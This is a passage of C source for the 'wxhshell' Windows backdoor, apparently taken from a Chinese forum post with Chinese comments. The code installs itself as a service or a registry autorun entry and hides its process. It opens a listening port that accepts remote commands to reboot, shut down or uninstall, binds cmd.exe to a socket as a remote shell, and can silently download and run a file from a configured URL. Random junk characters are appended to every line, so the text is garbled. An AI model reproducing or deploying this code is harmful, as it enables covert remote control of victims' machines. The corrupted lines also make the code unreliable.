      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~VGK#'X:  
    break; MtB:H*pM  
  } _ o(h]G1].  
  // 安装 lyeoSd1AN  
  case 'i': { Y'~&%|9+T  
    if(Install()) c,fedH;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `j$d(+Gv  
    else M*H G4(n0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0Q9OQqg m  
    break; TExlGAHo+O  
    } F{+`F<r  
  // 卸载 OR9){qP  
  case 'r': { fpi6pcof  
    if(Uninstall()) w6Q]?p+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u5ygbCm  
    else mx4*zj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7q=0]Hrg(D  
    break; &$Lm95  
    } d!:SoZ  
  // 显示 wxhshell 所在路径 `y#C%9#  
  case 'p': { Qa%SvA@R  
    char svExeFile[MAX_PATH]; (jG$M=q-  
    strcpy(svExeFile,"\n\r"); jFv<]D%A[  
      strcat(svExeFile,ExeFile); hH/ O2  
        send(wsh,svExeFile,strlen(svExeFile),0); PsnU5f)`  
    break; C=cTj7Ub  
    } ~] 2R+  
  // 重启 CQ[-Cp7  
  case 'b': { 6hq)yUvo4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LfApVUm  
    if(Boot(REBOOT)) DPx,qM#h5O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J;`~ !g  
    else { A{%;Hd`0/  
    closesocket(wsh); -`UlntEdZ:  
    ExitThread(0); sCl,]g0{  
    } Y c kbc6F  
    break; <k6xScy$}  
    } {[?|RC;\Y  
  // 关机 Biy 9jIWI  
  case 'd': { bg}77Y'^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *% *^a\2  
    if(Boot(SHUTDOWN)) R.T-Ptene  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $ZO<8|bW  
    else { >6 #\1/RP  
    closesocket(wsh); `.g8JC\_m  
    ExitThread(0); K;y\ &'E  
    } CK</2w+  
    break; 2A|6o*s"  
    } 9(WC#-,  
  // 获取shell KOx#LGz  
  case 's': { 9Q/!%y%5  
    CmdShell(wsh); .*blM1+6i/  
    closesocket(wsh); *Rh .s!@4  
    ExitThread(0); !.$P`wKr  
    break; "r"An"  
  } |plo65  
  // 退出 *Mc\7D  
  case 'x': { :t^})%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); u_8 22Z  
    CloseIt(wsh); Wp3l>:  
    break; :,,y63-f4  
    } % cdP*  
  // 离开 VH6|(=8  
  case 'q': { <1BK 5%?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o7XRa]O  
    closesocket(wsh); =_J<thp  
    WSACleanup(); sLp LY1X  
    exit(1); rC `s;w  
    break; oJT@'{;*z  
        } B [ ka@z7  
  } q"<-  
  } y(h(mr  
)\Q|}JV  
  // 提示信息 H> iZVE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nV*sdSt  
} j]O[I^5  
  } i6 ?JX@I  
5q`)jd!*)  
  return; *+4iBpyiB  
} kw ^ Sbxm  
\Pmk`^T  
// shell模块句柄 )#~fS28j  
int CmdShell(SOCKET sock) !!%nl_I(  
{ m (:qZW  
STARTUPINFO si; Ec*7n6~9  
ZeroMemory(&si,sizeof(si)); O>5u5n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NOp=/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &(^u19TKl  
PROCESS_INFORMATION ProcessInfo; X]"OW  
char cmdline[]="cmd"; 1>x@1Mo+K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Vzvw/17J  
  return 0; g*r;( H>e  
} B^~Bv!tHWr  
Ytwv=;h-  
// 自身启动模式 fZ:rz;tM  
int StartFromService(void) p!QneeA`&X  
{ QfWu~[  
typedef struct GSnHxs)  
{ v^_]W3K  
  DWORD ExitStatus; bvS\P!m\c  
  DWORD PebBaseAddress; E(+wl  
  DWORD AffinityMask; -0WCwv  
  DWORD BasePriority; psy(]Pf  
  ULONG UniqueProcessId; Pt0}9Q  
  ULONG InheritedFromUniqueProcessId; (G%gVk]  
}   PROCESS_BASIC_INFORMATION; s{J!^q  
WTv\HI2X !  
PROCNTQSIP NtQueryInformationProcess; I jztj  
]m#MwN$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A""*vqA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <L ( =  
y"L`bl A9}  
  HANDLE             hProcess; O[p^lr(B7  
  PROCESS_BASIC_INFORMATION pbi; 0+y~RTAVB  
 ,bp pM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <O)X89dFM  
  if(NULL == hInst ) return 0; u4M2Ec  
JgKZ;GM:W  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); NV(4wlh)y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~2DV{dyj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); aC Lg~g4  
64rk^Um  
  if (!NtQueryInformationProcess) return 0; $RNUr \9A  
a{Hb7&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); IetGg{h.  
  if(!hProcess) return 0; VD&3%G!  
?[1qC=[Z<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jy@i(@Z  
G$|;~'E  
  CloseHandle(hProcess); UQ?OD~7  
[67E5rk-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6 %k+0\d  
if(hProcess==NULL) return 0; :`^3MMLO  
bKJ7vXC05  
HMODULE hMod; yO,`"Dc_0  
char procName[255]; S<]a@9W  
unsigned long cbNeeded; ?r E]s!K  
{$1$]p~3 o  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B"Kce"!  
P ^<0d'(  
  CloseHandle(hProcess); po2[uJ  
`CEj 4  
if(strstr(procName,"services")) return 1; // 以服务启动 =>z tBw\  
<CKmMZ{  
  return 0; // 注册表启动 OC>_=i$ '  
} A r7mH4M  
Z t+FRR=  
// 主模块 |}p}`Mb)a  
int StartWxhshell(LPSTR lpCmdLine) ~& WN)r'4y  
{ eGSp(o56  
  SOCKET wsl; Z*9]:dG:!  
BOOL val=TRUE; jM1%6  
  int port=0; 1LId_vJtJ  
  struct sockaddr_in door; m_Ac/ct f  
Ao,!z  
  if(wscfg.ws_autoins) Install(); oYh<k  
[+MX$y  
port=atoi(lpCmdLine); Xz .Y-5)  
"3i80R\w`F  
if(port<=0) port=wscfg.ws_port; 2 ssj(Qo  
fxoi<!|iGY  
  WSADATA data; Ag4Ga?&8ec  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; YyJ{  
Z'*Z@u3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7kX$wQZ_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); YaNH.$.:  
  door.sin_family = AF_INET; ,Lun-aMd  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); L}jF#*Q%  
  door.sin_port = htons(port); )x8;.@U  
Ds%&Mi  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sId(PT^  
closesocket(wsl); uQu/(5  
return 1; >g>`!Sf  
} =GKS;d#/  
]dbSa1?  
  if(listen(wsl,2) == INVALID_SOCKET) { 0+<eRR9 -  
closesocket(wsl); 4o4 =  
return 1; 4`U0">gY  
} 24jtJC,7  
  Wxhshell(wsl); o!toO&=  
  WSACleanup(); {`H<=h__  
M9s43XL(&  
return 0; I' ! r  
$~,}yh;  
} ]C ~1]7vb  
JYg% ~tW'  
// 以NT服务方式启动 7*>S;$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wLOQhviI^-  
{ { 8f+h  
DWORD   status = 0; S'!q}|7X 3  
  DWORD   specificError = 0xfffffff; =%3b@}%HqS  
`e $n$Bh  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~3bZ+*H>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h^A3 0f_x  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2\nN4WL 5.  
  serviceStatus.dwWin32ExitCode     = 0; )jlP cO-  
  serviceStatus.dwServiceSpecificExitCode = 0; x9)aBB  
  serviceStatus.dwCheckPoint       = 0; Ob8B  
  serviceStatus.dwWaitHint       = 0; sCF40AoY&  
%h"qMs S  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {+"g':><  
  if (hServiceStatusHandle==0) return; Ki/'Ic1  
2sqm7th  
status = GetLastError(); &whX*IZ{  
  if (status!=NO_ERROR) V@v1a@=W  
{ &v$,pg%-:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  k6O. H  
    serviceStatus.dwCheckPoint       = 0; p"[O#*p  
    serviceStatus.dwWaitHint       = 0; @q&|MMLt  
    serviceStatus.dwWin32ExitCode     = status; {4: -0itG  
    serviceStatus.dwServiceSpecificExitCode = specificError; fimb]C I|x  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4O`6h)!NQ  
    return; bR`rT4.F  
  } JAlU%n?R  
U~*c#U"bh  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; iUIy,Y  
  serviceStatus.dwCheckPoint       = 0; @8=vFP'  
  serviceStatus.dwWaitHint       = 0; ,M) k7t:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _\dt?(m|  
} SPkKiEdM  
Mny'9hsl  
// 处理NT服务事件,比如:启动、停止 ?C &x/2lt  
VOID WINAPI NTServiceHandler(DWORD fdwControl) dU]i-NF  
{ K4!P'  
switch(fdwControl) P3iA(3I24<  
{ X"[dQ_o  
case SERVICE_CONTROL_STOP: JBR[; zM  
  serviceStatus.dwWin32ExitCode = 0; 'ySljo*It  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~n[b^b  
  serviceStatus.dwCheckPoint   = 0; =s'XR@  
  serviceStatus.dwWaitHint     = 0; I?a8h`WS+  
  { ,AH0*L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4K9Rpm  
  } 'aD6>8/Hj  
  return; nW4Vct  
case SERVICE_CONTROL_PAUSE: z,{e]MB)M  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u12zRdn  
  break; 8RdP:*HY  
case SERVICE_CONTROL_CONTINUE: y(bsCsV&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; yjEI/9_  
  break; $ph0ag+  
case SERVICE_CONTROL_INTERROGATE: d5DP^u  
  break; $]@O/[  
}; gbm0H-A:*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }B y)y;~  
} Y4mC_4EU  
[E>R.Oe  
// 标准应用程序主函数 fO].e"}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]7a;jNQu  
{ Fr-[UZ~V  
:GQ UM6  
// 获取操作系统版本 I4)Nb WQ  
OsIsNt=GetOsVer(); ?75\>NiR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Dp*:Q){>E  
8q?;2w\l  
  // 从命令行安装 mZwi7s&u  
  if(strpbrk(lpCmdLine,"iI")) Install(); W*k`  
v&xKi>A il  
  // 下载执行文件 $v]T8|h  
if(wscfg.ws_downexe) {  ]}Pl%.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [ S5bj]D  
  WinExec(wscfg.ws_filenam,SW_HIDE); hwiKOP  
} %drJ p6n%  
ibvJWg  
if(!OsIsNt) { }wG,BB%N  
// 如果时win9x,隐藏进程并且设置为注册表启动 wGPotPdE2  
HideProc(); EMLx?JnP  
StartWxhshell(lpCmdLine); osl=[pm  
} \}Dpb%^\  
else D%-{q>F!gf  
  if(StartFromService()) tqK=\{U  
  // 以服务方式启动 D9~}5  
  StartServiceCtrlDispatcher(DispatchTable); OCCEL9d  
else EYG"49 c  
  // 普通方式启动 TMK'(6dH  
  StartWxhshell(lpCmdLine); yI8 SQ$w0y  
=f>HiF  
return 0; B={/nC}G~  
}
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只看该作者 1 发表于: 2006-10-10
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